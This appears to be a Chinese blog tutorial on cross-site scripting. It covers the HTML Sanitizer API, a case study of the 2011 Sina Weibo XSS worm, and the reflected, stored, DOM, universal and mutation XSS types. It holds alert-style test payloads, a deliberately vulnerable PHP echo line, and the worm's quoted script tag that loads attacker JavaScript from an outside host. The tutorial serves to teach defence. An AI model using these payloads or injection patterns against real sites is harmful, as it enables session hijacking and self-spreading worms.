XSS - 简述
跨站脚本(Cross-site scripting,简称为:XSS, 是一种网站应用程序的安全漏洞攻击。
疑问:跨站脚本(Cross-site scripting) 为什么缩写不是CSS,而是XSS?
回答:因为在XSS出现的时候,CSS在前端领域已经被广泛指[层叠样式表](Cascading Style Sheets),所以将Cross(意为“交叉”) 改以交叉形的 X 做为缩写,这就是我们熟知的XSS
初现
XSS漏洞可以追溯到1990年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞
地位
根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection).
针对XSS攻击的提案
2021年11月30日Web 平台孵化器社区组 (WICG)公布了关于 HTML Sanitizer API的草案报告; HTML Sanitizer API 允许开发人员对不受信任的 HTML 字符串进行清理,以便安全地插入到文档的 DOM 中。
这意味在在不久的将来,我们就可以直接使用浏览器自带的XSS过滤器来转义了!
HTML Sanitizer API的特点
- 过滤不安全字符: 接受字符串并将其转换为更安全的字符串。转义后的字符串不会意外执行 JavaScript,并确保程序免受XSS攻击。
- 浏览器负责维护: API预装在浏览器中,并且会在发现错误或新的攻击媒介时进行更新。所以,现在你有一个内置的XSS转义过滤库,不需要导入任何外部的插件。
- 使用安全简单: 将XSS转义过程转移到浏览器使其更加方便、安全和快捷。由于浏览器已经有一个健壮和安全的解析器,它更清楚应该如何处理 DOM 中的每个活动元素。
目前Sanitizer API只兼容Chrome 93+ 中,可以通过启用
about://flags/#enable-experimental-web-platform-features
标志来试用 Sanitizer API 。它也可作为 Firefox 中的实验性功能使用。您只需将dom.security.sanitizer.enabled
标志设置为true
inabout:config
即可启用它!
使用案例
下面就是一个 Sanitizer API
的标准使用方法:
代码如下:
// `setHTML()` 是定义在 `HTML Element` 下的一个方法,解析在内部完成一次,结果会直接扩展到 `DOM` 中
const divBox = document.querySelector('div')
const user_input = `<em>hello world</em><img src="" onerror=alert(123)>`
const sanitizer = new Sanitizer()
divBox.setHTML(user_input, sanitizer)
复制代码
效果如下图:
可以看到经过上面的代码处理,可能包含XSS攻击的 <img标签> 已经被自动过滤了。
更多使用方法,可以查看 MDN文档 - HTML Sanitizer_API
番外篇 - 新浪微博XSS攻击事件
注:本攻击所展现漏洞取自网络,真伪待进一步考证,目前XSS漏洞均已修复!
2011年6月28日,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“XX大业中穿帮的地方”,“让女人心动的100句诗歌”,“XXXXX高清普通话版”,“这是传说中的神仙眷侣啊” 等等微博和私信,并自动关注一位名为hellosamy的用户。
XSS事件现场图片
XSS攻击分析
这次新浪微博事件攻击步骤如下:
-
利用了微博广场页面 weibo.com/pub/star 的一个URL注入了js脚本,
-
通过163.fm/PxZHoxn 短链接服务
-
将链接指向:weibo.com/pub/star/g/…
-
注意,上面URL链接中的其实就是让该网页访问
<script src=//www.2kt.cn/images/t.js></script>
,这个JS相关的逻辑如下图:
当用户不小心访问到相关网页时,由于处于登录状态,会运行上图JS脚本做几件事情:
- a. 发微博(让更多的人看到这些消息,自然也就有更多人受害);
- b. 加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
- c. 发私信,给好友发私信传播这些链接;
为什么关注hellosamy?
2005年,首个利用XSS脚本的蠕虫samy被“创造”出来了。Samy利用网站设计方面的缺陷,创建了一份“恶意”的用户档案,当该用户档案被浏览时,就会自动地激活代码,将用户 添加到Samy的“好友”列表中。另外,恶意代码还会被拷贝到用户的档案中,当其他人查看用户的档案时,蠕虫会继续传播。
因此,这次新浪微博的蠕虫,像是在对samy蠕虫致敬。
XSS - 常见类型
反射型XSS
反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。
举例来说,当一个网站的代码中包含类似下面的语句:
<?php echo "<p>hello,$_GET['user']</p>"; ?>
复制代码
如果未做防范XSS,用户名设为<script>alert("Tz")</script>
,则会执行预设好的JavaScript代码。
漏洞成因
当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。主要场景有以下几种:
-
将不可信数据插入到HTML标签之间时;// 例如div, p, td;
-
将不可信数据插入到HTML属性里时;// 例如:
<div width=$INPUT></div>
-
将不可信数据插入到SCRIPT里时;// 例如:
<script>var message = ” $INPUT “;</script>
-
还有插入到Style属性里的情况,同样具有一定的危害性;// 例如
<span style=” property : $INPUT ”></span>
-
将不可信数据插入到HTML URL里时,// 例如:
<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>
-
使用富文本时,没有使用XSS规则引擎进行编码过滤。
对于以上的几个场景,若服务端或者前端没有做好防范措施,就会出现漏洞隐患。
攻击流程
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。
存储型XSS
存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型XSS通常只在url中)到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis
,和其他的许多地方。一旦用户访问受感染的页,执行是自动的。
漏洞成因
存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码。
攻击流程
DOM型XSS
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
漏洞成因
DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
攻击示例
<html>
<head>
<title>DOM Based XSS Demo</title>
<script></script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
复制代码
在这段代码中,submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS。
通用型XSS
通用型XSS,也叫做UXSS或者Universal XSS,全称Universal Cross-Site Scripting。
上面三种XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是访问页面存在漏洞,但是UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。
漏洞成因
Web浏览器是正在使用的最流行的应用程序之一,当一个新漏洞被发现的时候,不管自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。
不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为UXSS攻击不需要网站页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。
漏洞案例
IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞
这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。tefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS,Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。
案例详见: Acrobat插件中的UXSS报告
Flash Player UXSS 漏洞 – CVE-2011-2107
一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞.
案例详见: Flash Player UXSS 漏洞 – CVE-2011-2107报告
移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。
安卓版Chrome浏览器漏洞
案例详见: Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra
突变型XSS
突变型XSS,也叫做mXSS或,全称Mutation-based Cross-Site-Scripting。(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation)
漏洞成因
然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。
随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化,而最终导致XSS的攻击流程。
攻击流程
将拼接的内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,常见的WEB应用中很多都使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。
mXSS种类
目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。
-
反引号打破属性边界导致的 mXSS;(该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复)
-
未知元素中的xmlns属性所导致的mXSS;(一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。)
-
CSS中反斜线转义导致的mXSS;(在CSS中,允许用\来对字符进行转义,例如:
property: 'v\61 lue'
表示property:'value'
,其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就会发生。) -
CSS中双引号实体或转义导致的mXSS;(接着上一部分,依然是CSS中所存在的问题,
"
"
"
等双引号的表示形式均可导致这类问题,) -
CSS属性名中的转义所导致的mXSS;
-
非HTML文档中的实体突变;
-
HTML文档中的非HTML上下文的实体突变;
结尾
如有疑问,可在下方留言,会第一时间进行回复!
谢谢你愿意花时间阅读这篇文章,希望可以对你有所帮助!
我曾踏足山巅,也曾跌落谷底,两者都让我受益良多。